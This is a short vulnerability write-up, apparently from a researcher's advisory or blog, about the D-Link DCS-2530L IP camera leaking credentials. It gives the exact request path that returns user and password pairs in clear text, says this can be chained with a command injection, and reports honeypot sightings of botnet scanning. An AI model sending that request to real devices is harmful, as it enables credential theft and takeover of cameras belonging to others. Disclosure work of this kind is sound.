Vulnerability

The D-LInk DCS-2530L is an IP Camera. This means it is more likely to be a target for botnets / IoT auto exploitation rather than anything else.

Triggering the exploit is very simple its just a GET request to the /config/getuser?index=0" endpoint and it returns the user|password combinations in clear text.

This can be paired with a second vulnerability reported at the same time, an authenticated command injection vuln, to gain access. See the exploited section below for more details.

In the wild.

My honeypots picked up a couple of pings on this, I am assuming automated scanning by some botnets.
